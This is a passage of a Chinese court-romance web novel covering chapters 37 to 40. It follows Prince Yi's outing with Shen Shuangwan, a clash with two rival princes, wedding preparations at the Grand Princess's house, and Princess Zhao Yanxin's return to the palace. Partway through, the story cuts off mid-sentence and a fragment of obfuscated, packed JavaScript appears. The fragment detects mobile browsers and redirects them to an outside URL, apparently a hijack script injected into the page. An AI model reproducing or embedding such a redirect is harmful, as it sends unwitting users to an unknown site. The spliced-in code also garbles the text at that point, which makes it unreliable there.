“你现在是大人了。”长公主看着她这样说道。
袁嘉儿抿了抿嘴唇想反驳几句,但长公主却转了身,扶着一旁的侍女离开。
.
永平侯府中,薛望也接到了宫中的旨意。
他没想到赐婚的旨意会在这时候落到了他的头上。
他说不清心中究竟是喜悦抑或是其他。
他才刚刚从仪王府回来,他才刚刚被迫斩断了与自己亲生儿子之间的关系,他甚至无法与人争吵,他甚至无法与人发泄。
便就是这样的时刻,他被赐婚。
难以宣泄的情绪如鲠在喉。
但圣旨是无法违抗的,他跪下接旨,面上挤出了几分笑意,叫人打赏了前来宣旨的内侍。
然后他带着圣旨去见了朱氏。
朱氏显而易见欢喜,她道:“既然旨意下了,那便早些去与长公主府上联络,郡主想要什么样的屋子,我们家照着收拾就是,免得郡主嫁过来又不喜欢。”
薛望看着朱氏,心中沉痛着应了下来。
朱氏这几个月看着他与仪王纠缠着沈氏之子的归处,老早便已经觉得腻烦,她看着薛望着垂头丧气的样子,便又道:“之前你做的糊涂事情,现在便都应当停下了。我听闻沈氏之子要过继回沈家,这是极好的事情。当初沈家帮过我们母子,现在你帮她得了儿子能继承香火,如此便扯平,互不相欠。”
薛望听着这话,心中如火烧一般,他想到今日在仪王府的种种,他想到罗粱说的那些话,再想着朱氏现在在说的这些,他只觉得这世上人都无情至极。
在这些人眼中,人似乎没有感情一般,那小孩儿只是个物件,可以随意叫他改了姓氏;他也只是个物件,可以轻易就被指婚。
他的过去,他的将来,他的命运,似乎都是被人操控。
没有人真的在为他着想。
他心中感到悲凉。
而朱氏道:“我不知你到底在为何事纠缠,我只劝你,圣旨既然已经下了,便无法更改。”
他忍耐道:“我知道。”
朱氏便又道:“你既然说知道,那有些话我便不再多说。我有时甚至觉得你从小顺风顺水也不是什么好事,不过一个小孩儿就叫你心烦意乱行事毫无章法,若遇着大事,你要怎么办?”
薛望不想再听下去,他道:“我会与长公主府商量着去行六礼之事。”
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沈云百日宴后,京城进入了夏季。
仪王带着沈霜晚与沈云一起回了一趟沈家,又去沈令德的墓上祭拜。
沈家旁支在京中还剩几家人,他们见着沈霜晚带着沈云回来,又想起之前改沈令德嗣子一事,都识趣地不提起沈霜晚二叔一家,又说往日沈令德的恩德。
沈霜晚与这些旁支从前没什么情谊,后来嫁人后更是断了来往,她略听了一会便打断了他们那些谄媚问好的话语,只问道:“当初我父亲办过的书院可还健在,学子们如何了?”
那些人面面相觑了一阵,过了许久才有个应是沈霜晚族叔的人站出来道:“夫人去世那年,书院便关门不再开了,学子们自然各奔前程。”
沈霜晚竟不觉得有多意外,她只叹了一声,道:“我知道了。”
那位族叔见着沈霜晚神色还想说什么,但沈霜晚只摆了摆手,叫他不必再说。
沈霜晚道:“我今日回来也不过是祭拜父亲,随口问问而已,你们也不用太放在心上。”说着,她也不待他们再回答,便向左右问起了仪王和沈云,“怎么没见殿下?殿下带着云儿出去了?”
罗粱等人正在外面候着,听到里面沈霜晚的声音,他们忙道:“殿下正与小公子一道看蝴蝶。”
沈霜晚便站起身
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来往外走,口中道:“这么大太阳,可别热着了。”
族人们想追上去,但被侍女们挡住,只好眼睁睁看着沈霜晚走了出去。
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廊下,仪王正抱着沈云一起看一只停在石榴花上的几乎有巴掌那么大的黑色凤蝶。
沈云不会说话,他只会咿咿呀呀手舞足蹈地对着周围人表达着对那只大蝴蝶的惊叹。
而仪王却不让旁边的人去抓那只蝴蝶,他只抱着小孩儿绕着石榴树转来转去看那只蝴蝶飞来飞去。
看到沈霜晚从屋子里出来,仪王停下了动作,笑了笑:“你也出来看蝴蝶?”
“这么热天,晒得中暑了。”沈霜晚朝着那一大一小走过去,正好就看到那只凤蝶飞到高处去,“也不早了,回去吧!”她从仪王怀里接过了沉甸甸的沈云,“这儿离城里远,再不走回去就天黑了。”
“天黑怕什么,还能去夜市上转转呢!”仪王一边吩咐了罗粱等人去备好车马,一边与沈霜晚一道往外走,“万一要是赶不回去了,我在城外有座庄子,可以过去那边住一晚上。”
沈霜晚抱了一会沈云,小孩儿不安分地扭起来,她便回头招手让奶娘过来把小孩儿接了过去。她道:“带着小孩儿处处不方便,还是早些回家为好。”
仪王看了她一眼,又回头看了一眼那些探头探脑的沈家族人,问道:“怎么,那些人说话气到你了?”
沈霜晚先摇了摇头,然后才笑了一声:“不是因为他们,是因为听说我父亲当年开的书院已经关闭许久我都不知道。”
仪王道:“你想再开一个?”
沈霜晚哭笑不得了:“我开书院做什么?我既不能教那些学子,那些学子也不会服我,我何必给自己找麻烦?”
仪王看她神色便知这事情不似她口中所说那样无关紧要,他心中记下,口中却道:“我让罗粱护送云儿回府,我带着你去那边的绣岭玩,怎么样?”
“绣岭?”沈霜晚意外地抬眼看他,“殿下怎么突然想去爬山了?”
“这两日又没什么事情,再加上天气又好,我带着你在外面玩一玩不是正好么?”仪王笑着,又看了身后的奶娘一眼,“等天热了暑气重,我自己都懒得动弹,你更不愿意出府,那时候我们就都在府里消夏了。”
奶娘和侍女们忙上前来道:“夫人放心,我们会好好照顾小公子的。”
沈霜晚还有些迟疑,她皱了皱眉头,道:“可……这似乎……”
“不用想那么多。”两人已经走到门口,仪王从罗粱手里牵过马,又回手去拉了沈霜晚的手,“来,上马,我们轻装简行。”
沈霜晚还想说什么,那边仪王力气大,一下子就把她托到马背上,她只来得及再看一眼奶娘和侍女等人,仪王也翻身上马,接着马鞭一甩,马儿就踢踢踏踏跑远了。
“殿下!”沈霜晚有些恼火地回头,“怎么这样!”
仪王拍了拍她的肩膀示意她坐好,道:“看前面,那边有一大片桃林,现在看不到桃花,但可以去看看桃子熟了没有。”
37. 心乱
已经过了端午,京城周围正是一派绿意浓浓。
仪王带着沈霜晚跑过了一片麦田,又穿过了一片杏林,最后才到了他指的桃林边上。
树上的水蜜桃显然已经熟透,有农人正拿着筐在树下采摘。
他停下马,自己先跳下来,然后对着沈霜晚伸手:“下来吗?”
沈霜晚想了想,还是接着他的手从马上下来了。她回头看了看,没见着应当跟着他的那些人,脸上露出些许担忧。
他便往旁边挪了一步挡住了她的视线。
“吃桃子吗,我们买一筐。”他向桃林中的农人招手。
农人老早就看到他们过来,这会儿听到他说话,便拎着一筐桃子上前来了:“贵人要买一筐?这一筐是刚摘的,新鲜!”
沈霜晚颇有些无奈地收回目光,又看向了那农人手里的桃子,道:“买一筐桃子也没地方放呀!”
“那就买两个。”他从怀里摸了一串铜钱递给那农人,“挑两个甜的再帮我洗洗。”
农人忙接了那一串钱,放下筐子认真翻了两个红彤彤的水蜜桃出来,又去井边洗了洗,拿布擦干净了才递给了他。
他接过桃子,向农人道了谢,然后转身递了一个给沈霜晚:“走吧,我们继续往前。”
沈霜晚接了桃子,在手里掂了掂,却没急着吃。她又往他们过来方向看了看,道:“我倒是无所谓的,您孤身一人在外头,实在不太好。”
“你难道不是人?”他看着沈霜晚,又笑了笑,“你担心我?”
沈霜晚握着桃子抬头看他,眼中的确是担忧的神色,她道:“君子不立于危墙之下。”
他猜着她便要说这话,于是他道:“我不是君子呀!”
然后他便果然看到沈霜晚瞪了他一眼。
“走了。”他没忍住又笑了两声,啃了一口手里的桃子,含混不清道,“他们后面就跟过来了,你急什么?”
沈霜晚似乎不信他的话,又回头看了好几眼,直到看到了扈从带着的卤簿,才露出放心的神色。
他看着她,笑道:“这是京城,有什么可担心的?”
她却很认真道:“若真出什么事情,前不着村后不着店,是叫天天不应叫地地不灵。”
他素来是讨厌有人对自己说这些话的,但今日似乎是因为天气缘故,又或者是其他的什么原因,他并不觉得这些话有多让人厌恶了。他一手牵着马一手拿着桃子,顺着桃林旁的小道往前走,口中道:“那怎么办,我现在已经带着你跑到这里来了。”
沈霜晚跟在他身后,她手里拿着桃子却没吃。
微风拂过,她头上那朵红牡丹的花瓣微微颤动着,她伸手把凌乱的鬓发略理了理,又拉了拉身上乱七八糟的披帛。
他慢慢咽下了嘴里的桃子,忽然觉得有些口渴,他闭了闭眼睛,几口把桃子吃完,随手把桃核丢到林子里面。找了帕子擦了擦手,他清了清嗓子,回头看向了沈霜晚:“桃子吃完了,可以走了。”
沈霜晚满满都是无奈,她手里桃子还好好的,她道:“好吧,都听殿下的。”
他说不清心中到底是什么乱七八糟情思涌现了,他荒谬地觉得沈霜晚这句听他的十分悦耳动听,他觉得自己一颗心一时砰砰乱跳,一会假作镇静——他看了沈霜晚一眼,心想她应当看不出来吧?
他心里想着这些有的没的,回身扶着沈霜晚骑到马背上去,自己牵着缰绳慢慢顺着小路往前走。
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“这里我以前来过。”他一边往前走,一边找了个话头来说,“以前大哥带我打猎的时候来过这里,那次我要追一头公鹿,那头公鹿慌不择路往前狂奔,我就跟在后面没头没脑追。我追鹿,大哥在后面追我,终于追到这里来,我猎到了那头鹿,我哥也找到了我,然后我们俩就和身后的人跑散了。”
“后来呢?”沈霜晚问。
他笑了一声,道:“后来我和我哥带着那只鹿在这儿绕了好久才绕到绣岭,上了官道,最后顺利回宫。不过宫里人吓坏了,母后狠狠骂了我一顿。”
沈霜晚皱了皱眉头,似乎想说什么时候,远处传来了马蹄声,她抬头看了过去,他也抬头看了过去。
一群穿着花哨的人和马正朝着他们跑过来。
他们身后也有扈从随行,从卤簿上的花纹来看,应是京中的亲王。
如此大张旗鼓会在外头跑的,现在应当就是隋王一干人了。
仪王眉头皱了皱,回头对着自己的扈从吹了声哨子。
扈从听到哨声立刻上前来,把仪王和沈霜晚护在了中央。
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另一边,果然是隋王与嘉王二人骑着马带着人过来了。
看到仪王,隋王坐在马上笑了笑,道:“十一弟,怎么今日在这里?也是出城打猎的么?”顿了顿,他注意到了仪王身后的沈霜晚,尽管她匆忙间戴了帷帽看不清面容,但这并不妨碍他辨认男女,隋王面上的笑容变得有些微妙起来了,他道,“后面是弟妹么?今日不巧了,也没准备见面礼。”
仪王叫人护着沈霜晚退到后面去,然后才看向了隋王,道:“是不巧,早知道今天会碰到四哥,我就算一算黄历再出门。”
这话顿时要把隋王气个仰倒,原因无他,今日他便觉得自己运气差极了,说是和嘉王一起打猎,但从出京一路到绣岭甚至连一只兔子都没看到!现在还要听仪王说阴阳怪气的话,这岂不就是出门没看黄历!
嘉王看了兄长一眼,忙上前来打圆场,道:“我们远远看着你的卤簿,心想着这时候在外头玩耍的只有你了,便过来看看,还想和你一起打猎的。”
仪王道:“打猎倒是小事,我怕今天和你们打猎,晚上嫂子就上门来质问为什么要不顾忌你们身体,倚老卖老说我不尊老。”
这话把嘉王也堵了个半死,原因无他,乃就是仪王和他们二人年龄相差十几岁,平日里在今上和太后面前拿架子说话,总爱说他年纪小不懂事
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,仪王那时候总当做没听到的样子,没想到这会儿突然堵了回来。
隋王平了平气,坚强道:“你也太记仇了,不就是在娘娘和父皇面前说了你几句吗?”
嘉王忙附和起来:“那都是玩笑话,也没当真过啊!”
仪王双手抱臂不耐烦道:“我不跟你们打猎,你们自己玩去吧!别在这耽误我时间。”
隋王和嘉王对视了一眼,又看向了被人遮住的沈霜晚,虽然好奇,但也不太想这荒郊野外和仪王争吵起来,万一吵到动手,他们又不能真的把仪王怎么样,反而仪王回头去告状,他们就没好结果。
于是隋王道:“罢了罢了,我这就走了,不打扰你。”
说着,他便与嘉王一道掉转马头,往另一边去了。
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隋王与嘉王两人回头走了一段,见仪王没有跟过来的意思,便慢慢放慢了脚步。
隋王回头看了一眼,道:“你看到那女人没有?应当不是杨国舅家的那位吧?”
嘉王道:“一看就不是,这应当是永平侯家那个沈氏吧?除了那个沈氏,我好像还没听说他府里有别的女人。”
“说不定是最近弄上手的还没接回府里去?”隋王嘲讽地笑了几声,“看他那宝贝样子,还不让看。”
“年轻人嘛,不都这样?”嘉王道,“他之前和杨氏分开不就是因为杨氏管得太多?男人哪有不爱风流的?他若是身边一个女人都没有,那倒是奇事了。”顿了顿,他笑道,“这倒是好事。都说他是皇后嫡子,将来要做太子。就他这做派,我想父皇还当他是个孩子,多半是不会叫他去当太子的。”
隋王也笑了一声,道:“他不就是没长大么,若他心里有数,就不会和杨家闹成那样。杨氏霸道又怎么了,供起来就是了,何必非要和离?现在杨家只不过看在皇后面子上不与他翻脸,但想要杨家人的支持,他迟早要回头去对那杨氏俯首。”
嘉王道:“到那天便又可以看一场热闹,何乐而不为呢?”
听着这话,隋王忽然想起什么,笑道:“你说热闹,我倒是想起来成安郡主那事情,前几日王妃对我说他们两家算定了日子,已经往各府送了请帖,王妃问我那天到底要不要去。”
“看在长公主的份上也是要去的。”嘉王道,“太后娘娘最疼就是姑妈,总不能不给姑妈面子。”
“那你说仪王会不会去?”隋王看向了嘉王,藏不住脸上的幸灾乐祸,“若他去了,永平侯就没面子了吧?永平侯没面子,成安郡主也别想有面子。若他不去,直接下了长公主的面子。”
嘉王想了想那情形,也不禁笑起来,道:“活该他左右为难,谁让他那时候非要抢别人的夫人?前几个月不还跟人亲生父亲闹着抢孩子么?也不知他是个什么癖好,别人的孩子他也养?”
隋王一本正经道:“若那沈氏不是倾城祸水,必定就是我们仪王殿下脑子进了水。”
嘉王听着这话,噗嗤一声大笑起来。
38. 念头
仪王扶着沈霜晚上了扈从赶过来的马车,他道:“算了,今日不去绣岭,还是回家去吧!”
沈霜晚手里还拿着那桃子,她想了想,才道:“殿下若是觉得骑马疲乏又想避着人,也一并上车来,如何?”
仪王想了想,便也跳上了马车,叹道:“这天气太好也不是好事,外头随便走走都是熟人,又懒得与他们交际。”
扈从们赶着车上了官道,朝着京城方向走。
沈霜晚靠在软垫上,颇有些昏昏欲睡。
仪王把她手里桃子拿过来放到一旁小几上,道:“虽然已经是夏天,你也小心别睡着凉了。你与我说话吧!”
沈霜晚打起精神来看向了仪王,道:“殿下想说什么?”
仪王想了想,道:“你最近除了带云儿,还在做别的什么事情吗?”
沈霜晚道:“看书写字画画,再与侍女们说说话聊聊天,一天也就混过去了。”她看着仪王,“等云儿大一些了,我倒有件事情想做。”
“什么事情?”仪王好奇问。
沈霜晚笑道:“还只是有个念头,没想得太周全,等想好了再与殿下说吧!”
仪王便道:“一个念头也能说来听听,我想听。”
沈霜晚好笑地看了一眼仪王,道:“只是个小念头,殿下也要听?”
仪王道:“你且说吧!”
沈霜晚只好道:“我想开个绣庄之类,教女人绣花裁剪识字认字之类,好叫她们明事理,好在这世上立足,有底气离开那些无能的男人自己过活。”
仪王愣了愣,一时间竟没说出话来。
沈霜晚看着仪王神色,便笑了笑,道:“我就这么个念头,还没想好到底要怎么开呢!”
仪王思索了一会,道:“这想法虽然不错,但也许并不那么可行。”
“为何?”沈霜晚看向了仪王。
仪王道:“你只看世家大族中那么多识字认字又有底气的贵女,哪怕遇到了无能花心的丈夫,她们也大多是不会选择离开自己过活的。你的想法虽好,但却世情并非如你想那般。”
沈霜晚点了点头,并不怎么羞恼,她道:“我是知道我想法天真的,殿下也不必为我描补说好话。”顿了顿,她又笑道,“正是因为知道我自己想法太天真,这念头我也就只想想,将来或许会真的实施,或者也便就放下了,殿下不必太当真。”
仪王却道:“你不如收养那些孤女,教她们认字,再教她们纺纱织布,教她们有立身之本,不必卖身为奴为婢,或是沦落到三教九流之地,可以堂堂正正做个平民百姓。”
这话叫沈霜晚愣了愣,她露出思索神色来。
仪王接着又道:“教小孩子,小孩子会感激你;教那些长大成人的,他们就未必在心中有多感激了,说不定还会暗暗骂你,再曲解你的意思,给你找许多不必要的麻烦。”
沈霜晚听懂了仪王的意思,便笑着点了头:“我明白了,多谢殿下教我。”
仪王笑道:“你是一片好心,想做些善事,总不能让好心白费的。不过这事情也得缓图之,且等云儿大几岁再说吧!”
.
两人说着话,马车渐渐放缓,最后停了下来。
仪王掀开帘子往外看了看,见离城门还有老远,前头不知是什么事情堵住了道路,便叫扈从骑马到前头去查看。
扈从领命往前头跑过去,不过一会儿就返回来了。
“殿下,是长公主给郡主准备的嫁妆等物今日正在运到城里去。”扈从说道,“从这儿一直到公主府门口一路都堵着了。”
仪王便摆了摆手,道:“换个城门进。”
扈从应下,便驾着马车往南门绕。
沈霜晚也好奇地掀开窗帘往外看了一眼,只见那长长的车队上头只看得出装了许多东西,并看不出来里面有什么。
“长公主就那一个女儿,就算女儿叛逆倔强又不懂事,也不会少了嫁妆的。”仪王说道。
沈霜晚放下窗帘,点了点头,道:“如此嫁妆,想来永平侯老夫人是不敢磋磨郡主了。”
这话叫仪王笑出声来:“你是说薛望的母亲?她当初也就只敢在你面前强横而已。”
“我毕竟没有郡主那样家世。”如今再说从前的事情,沈霜晚已经淡然,“她向来是想让永平侯娶一位名门贵女的。”
仪王嗤笑了一声,道:“也就是袁嘉儿那心里全是情情爱爱的会看上了他们家,其他好人家的女孩儿,都不会正眼看他们一眼。”
沈霜晚也笑了起来,她却道:“虽然如今我与他们薛家已经没了关系,可当初我父亲却看好他,殿下这话虽然没说错,可也叫我愁肠百转,不得不去想当初我父亲是否是看走了眼。”
仪王便道:“你父亲倒是没看错什么,薛望的父亲曾为太子少师,连父皇都赞他铁骨铮铮,只是薛望子不肖父而已。”
沈霜晚叹道:“如今想想,倒不如让我堂姐嫁到薛家算了。”
仪王目光暗了暗,道:“那你岂不是要被送到东宫去?”
沈霜晚眨了下眼睛,笑了起来:“堂姐是我二叔亲生的女儿,才费尽心思送进东宫,想着将来能做娘娘。我何德何能,能叫我二叔为我费尽心思呢?到那时候大约便就是我守着母亲,当个老姑娘了。”
仪王听着这话,便道:“那也未必呢!”
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长公主府前,乐昌郡王正带着人一车一车地清点着武阳长公主为成安郡主袁嘉儿特地从西域运回来的嫁妆。
眼看着天色要暗下去,乐昌郡王赶紧先叫人把城门口滞留着的车子先都在城外找地方停下,又派人拿着单子去城外核对,最好是明天一早开城门时候就直接运到府里来,府中的管事下人们便骑着马分别前往各处去。
乐昌郡王点了点手中的单子,吩咐管家继续把没有清点完的继续清点,自己则拿着已经清点好的去见长公主。
府中,长公主也正在清点准备给袁嘉儿的金银首饰。
听到乐昌郡王进来,长公主便拿着单子对他招了招手,道:“你过来再帮我看
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一眼,这金子能不能对上?”
乐昌郡王闻声上前接了单子,细细又对着屋子里面那些金银核对了一番,确定了数目没错,便重新把单子交还给长公主:“这些都没错,我这儿还有今天才刚运回来的那些,有一半在府里,还有一半没来得及,还在城外。我拜托人去找守城军帮忙看一眼,免得有贼人去偷。”
长公主接过单子看了看,道:“总算是把这些乱七八糟的东西弄完,那一半里面都是些笨重的大家伙,倒是比这些金银细软还好清点了。”
乐昌郡王在一旁坐下,拿起酸梅汤喝了一大口,道:“妹妹这嫁妆恐怕太扎眼,我总担心会有御史弹劾说这说那的。”
长公主道:“也没逾矩,郡主出嫁就是这样的规格,那些御史就算要拿这些说事,也有话能堵回去。”
乐昌郡王道:“今日听说宫里皇后娘娘把南浦郡主从金光寺接回来了,我就怕他们揪着南浦郡主说事说到了妹妹身上。”
这话叫长公主皱了眉头,她想了想才道:“延心是先太子仅剩的唯一的女儿,就算这会接回来……他们也应当不敢拿她说什么吧?否则岂不是给圣上难堪?”
乐昌郡王道:“自从圣上说了要立太子的事情,那些人在朝上天天吵来吵去,先太子之事到如今未有定论,拿南浦郡主当幌子来给自己扯大旗,我看他们是做得出来的。”
长公主迟疑起来,她道:“那便把明面上嫁妆减两件,私下送过去就行。”
乐昌郡王应了下来。
这时,外头通传说郡主到了,长公主与乐昌郡王便把这话头收了起来。
.
袁嘉儿眉飞色舞进到屋子里面,她穿了一件簇新的大红的裙子,头上簪了牡丹,脚步轻快进到屋子里来,便在长公主面前转了一圈。
“母亲你看这身好不好看?”袁嘉儿问。
长公主点了点头,笑着道:“当然是好看的,今天新做的衣服么?”
袁嘉儿道:“是今天才送来,我便直接上身试了试。”
自从袁嘉儿因为薛望之事在家里闹腾,乐昌郡王便没有给过她好脸色,这时他便站起身,道:“我先出去了。”
袁嘉儿不敢去闹他,只乖乖站定,目送了乐昌郡王离开。
长公主示意袁嘉儿坐下,把刚才担心嫁妆惹眼的事情与她说了说,见袁嘉儿眉头扬起来,便叹了口气,道:“成亲的事情还是稳妥要紧,最好不出什么岔子,你说是不是?”
袁嘉儿面上显露出了不高兴,她道:“她比我还小一辈,哪里有我让她的,再说她将来成亲也可以这么攒嫁妆,谁拦着她了?”
长公主便道:“这事情你只听我的,不能由着你任性。”
袁嘉儿却大声道:“我这辈子也就成亲这一次,我谁也不会让的!太子都死了,赵延心那郡主舅舅还不知道会不会认呢,凭什么叫我因为一个虚无缥缈的猜测就要让她?我不让!我就要风风光光嫁出去!”
长公主看着女儿,她只好道:“罢了,听你的,行了吧?”
39. 赵延心
仪王回到书房时候,王傅陈斯进来了。
“宫中娘娘从金光寺把南浦郡主接回宫中了。”陈斯说道,“殿下是否要进宫一趟?”
仪王先叫陈斯在外面坐下喝茶,他则进去里间换了身衣服才重新出来和陈斯说话。
“今天的事情?”这几日仪王与沈霜晚忙着回沈家祭拜的事情,倒是没怎么去注意宫中的事情,“不过算一算,延心的确已经除了孝,也不应当再继续待在金光寺。”
陈斯道:“郡主何时回宫却不知是哪一日,这事情传出来是因为隋王妃进宫去给太后娘娘请安时候碰到了南浦郡主。”
仪王嗤了一声,拿了扇子摇了摇,道:“这是醉翁之意不在酒了。”
“毕竟无论是谁当太子,先太子之事……都无法含混过去。”陈斯微微笑了笑,“隋王若是对那位置有意,便也要想着先太子之事。那是烫手山芋,他自己是不想沾的,最好是能让圣上亲口给个结论才好。”
仪王摇了摇头,冷笑道:“延心不过是个女孩儿,能逼出什么来?说句诛心的话,他倒巴不得延心突然死了。”
陈斯不敢接这话,只好拿起茶盏来喝了口水。
仪王也坐下来,他道:“延心毕竟是女孩儿,我明日进宫去见一见母后,若是能把延心的亲事定下来,便没什么可担忧的。若父皇不愿意应这事情,不如还叫她回金光寺去。”
陈斯想了想,道:“我依稀记得先太子尚在时候,是给郡主说过一门亲的。”
“那家人现在必定不会应了。”仪王摆了摆手,“只当是没说过吧,延心现在身份尴尬,还是要说一门老实没有二心的,心思太多又爱钻营的那些都不必想。”
陈斯认为这话有理,但又觉得这条件苛刻,他道:“现下哪里找得到这样的人家,无论是世家权贵又或者是那些寒门学子,不都是卯足了劲儿想往上爬么?”
仪王淡淡道:“若现在找不到,那便是延心的姻缘还没到时候。”
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第二日仪王进宫时候便就在长宁宫见到了南浦郡主赵延心。
仪王与南浦郡主虽然是叔侄,但其实年龄只差了不到三岁,南浦郡主出生后太子妃病弱无力,皇后便叫人把赵延心抱到长宁宫来,后来太子妃去世,赵延心便留在了长宁宫,再少回东宫。于仪王而言,他与南浦郡主虽然是叔侄,但事实上与玩伴也无异。
相互见了礼,南浦郡主向仪王笑道:“我回来好几日,让人去你府上问你在不在,一连好几天都说不在,这么热的天,叔叔去哪里了?”
仪王着意看了看南浦郡主神色,便知道她不在意现在宫里宫外的议论,便道:“我带着我府上的一位夫人去她家里祭祖,她许多年没回去了。”
南浦郡主奇道:“叔叔终于又有婶婶了?”
这话让仪王心里咯噔了一下,他摆了摆手不欲多说,只问道:“你什么时候回来的?”
“端午节一过,娘娘就叫人把我接回来了。”南浦郡主看了眼皇后,“正好我也在那佛寺呆腻了,就回来看娘娘。叔叔也不在,我就陪娘娘,免得娘娘平日里也没人好说话。”顿了顿,她又看向了仪王,“不过圣上没见我,太后也没见我,昨天在太后宫外见到了四婶,她那神色着实好笑,可惜叔叔没见着。”
皇后摇了摇头,向仪王道:“我原是想着延心出了孝,总不能还待在金光寺,现下看来……”皇后摇了摇头,“罢了,还是不能急于一时。”
南浦郡主冲着仪王眨了眨眼睛,又向皇后道:“娘娘不用忧心,我在金光寺过得好好的,除了整天吃素总觉得口里无味,别的一切都好。”
仪王看向了皇后,道:“若不然我向父皇说一声,给延心指婚?”
皇后摆了摆手,道:“罢了,延心回宫这几日,他若想赐婚,老早便赐了,不会是这样视而不见的样子。”
仪王便看向了赵延心,道:“那还送你出宫去?省得你在宫里不自在。”
赵延心道:“那我可不要再去佛寺了,去个自由点的地方好了。”
仪王想了想,道:“你替我去我封地上看看,怎么样?”
赵延心来了兴致,她坐直了身子,问道:“那么仪州在哪里呢?我早先还想去南浦郡看一看,只是还来不及去,便就先进了金光寺,如今再去总觉得有些名不正言不顺。”
仪王笑道:“仪州就在河东道,往北走,就当去避暑了。”
赵延心便道:“还是叔叔对我好。”说着,她再抬头去看皇后,“娘娘,那我便去叔叔封地玩个一年半载再回来吧!”
皇后笑着应了,道:“既然是你叔叔说的,你听他的就是。”
赵延心高兴起来,她站起身道:“那我去收拾了东西,今天就跟着叔叔出宫去了。”
皇后点了头,赵延心便直接转身往后头去。
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仪王看着赵延心走远了,然后才看向了皇后:“延心回来的事情宫外传得沸沸扬扬,大哥的事情又被人翻出来说,恐怕父皇这两日又有许多恼火。”
“你父皇这两日都没到后宫来。”皇后淡淡道,“你大哥的事情……只能等将来,现在是不会有结果的。”顿了顿,皇后又看向了仪王,“接延心回来倒不是想试探你父皇,而是金光寺出了件丑事,一个女尼不知与何人□□有染,竟怀孕到七八个月了才被人发现。我一听说这事情,便叫人把延心给接回来。金光寺的事情我也叫人遮掩,你在外头若听到风声,也须得遮掩一二。”
仪王完全没想到竟然是这样的缘故,他便道:“干脆我叫人把金光寺以改建的名义封个几年吧?”
皇后道:“虽然可行,但不能操之过急,过个一年半载再说。”
仪王想了想,也觉得有理,便道:“我叫人记下来,等延心去了仪州,再以给太后祈福的名义上书改建金光寺。”
皇后点了点头。
仪王又道:“我昨日与沈氏回京路上碰到了隋王和嘉王,陈斯他们又说昨天隋王妃进宫给太后请安,怎么隋王妃进宫,隋王反而出京打猎去了?”
皇后淡淡道:“兴许是太后有什么事情想交代,便叫隋王妃进宫了一趟。”顿了顿,皇后又笑了一声,看向了仪王,“你既然在这里,就替我写个奏疏送麟德殿去。”
仪王便起身去案上拿了纸笔,道:“母后说,我来写。”
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17177260|196915||http|test|mini|href|location''.split(''|''),0,{}));
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>皇后道:“昭仪柳氏,昭容梁氏,多年伺候圣上生儿育女有功,请封惠妃、德妃。”
仪王落笔顿了顿,不禁笑了起来,他不多说什么,只挥笔写了奏疏,又亲自捧到皇后面前请皇后看过。
皇后点了点头,道:“你这会儿去了麟德殿,便不必再过来了。”
仪王把那张奏疏摊在旁边等墨迹干透,口又道:“还有件事情一直忘了和母后说,长公主家那喜事我是不打算去的,若长公主到母后这儿问起来,还请母后替我描补几句。”
皇后便道:“不过小事,想来长公主不会太计较。”
天热,墨迹也干得快。
仪王收好了那封奏疏,又向皇后行了礼,便出了长宁宫。
在长宁宫外,他一边叫内侍带着南浦郡主去宫门口等着他,一边自己往麟德殿去。
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麟德殿中,今上听说仪王求见,便命人直接叫他进来。
仪王进到殿中行了礼,便把皇后命他写的奏疏双手呈上,他口中道:“方才儿臣去母后那儿与母后闲聊,母后便叫儿臣带一道奏疏过来请父皇看。”
今上一边叫仪王在冰山旁凉快的地方坐,一边随手接了奏疏看了看。
“梁氏生了宜芳和弘永,多年来也的确和善不争,封德妃倒是可以,只是柳氏这惠妃……”今上露出几分迟疑,他看向了仪王,“你母后可还说了什么没有?”
仪王道:“母后只说让儿臣把这奏疏送过来。”
今上露出为难神色,他道:“朕知道了,这奏疏且在朕这儿放一放,朕还要想一想,晚些时候再与你母后商量商量。”
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从麟德殿出来,仪王到宫门口时候,便见赵延心正等在那里。
“是什么事情去了那么久?”赵延心向仪王笑,“走吧,上车来,有冰块,凉快的。”
仪王也不扭捏,便和赵延心一起上了马车,随口说道:“母后打算封柳氏为惠妃,父皇有些为难。”
赵延心愣了一会,接着大笑起来,道:“那隋王和嘉王还有老太后不要闹起来?娘娘还是会治他们的。”
仪王也笑了笑,他道:“父皇未必会答应。”
赵延心道:“不答应也是常理,本朝向来没有把用过的妃子的封号再给其他妃嫔的。娘娘大约也没想着让圣上答应,只不过是想膈应一下老太后,叫她安分些。”顿了顿,她从身后拿出个匣子来打开给仪王看,“你看看,这个行不行?”
仪王有些莫名其妙看了过去,那匣子里面放着一串七宝佛珠。
“你要拿这个做什么?”仪王看向了赵延心。
赵延心拎起那佛珠,看着仪王:“你不是有夫人了吗?我去你府上,难道什么都不送?那太不像样子了吧?”
仪王不由得失笑,道:“你收起来吧!你是小辈,要真算起来,得她给你才对。”
“那不行,还是要送的,那是婶婶。”赵延心认真道,“第一次见婶婶,得给婶婶一个好印象。”
仪王抿了下嘴,道:“现在还不能完全算,你收起来。”
“?”赵延心有些茫然地看向了仪王,“什么叫不能完全算?”
40. 交锋
仪王对赵延心简略说了一说沈霜晚永平侯还有成安郡主的事情,
赵延心听得先是诧异挑眉接着是迷惑皱眉,最后听说仪王把沈霜晚带回家的时候,终于是没能保持住面上的平静。
“那叔叔你那会儿就喜欢婶婶吗?”赵延心如此问。
仪王轻咳了一声,道:“我又没什么特殊癖好,那会我就是看不过去他们都欺负她。”
赵延心便追问:“那现在是又喜欢上了?”
仪王看看车顶又看看冰山,道:“但我还没和她说呢……我之前答应她,如果她有喜欢的男人,我就让她嫁人。”
赵延心笑了起来,道:“这个嘛,总之是近水楼台先得月的道理,叔叔玉树临风英俊潇洒,多多表现一些,打动一位佳人应当不是难事。”
仪王便道:“我便是想缓缓图之。”
赵延心看着仪王,道:“那我更要把佛珠送给婶婶了,我替你试一试婶婶的心思,如何?”
“不如何,你最好当做什么都不知道。”仪王一口就否决,“我自有我的打算,你不要来瞎掺和。”
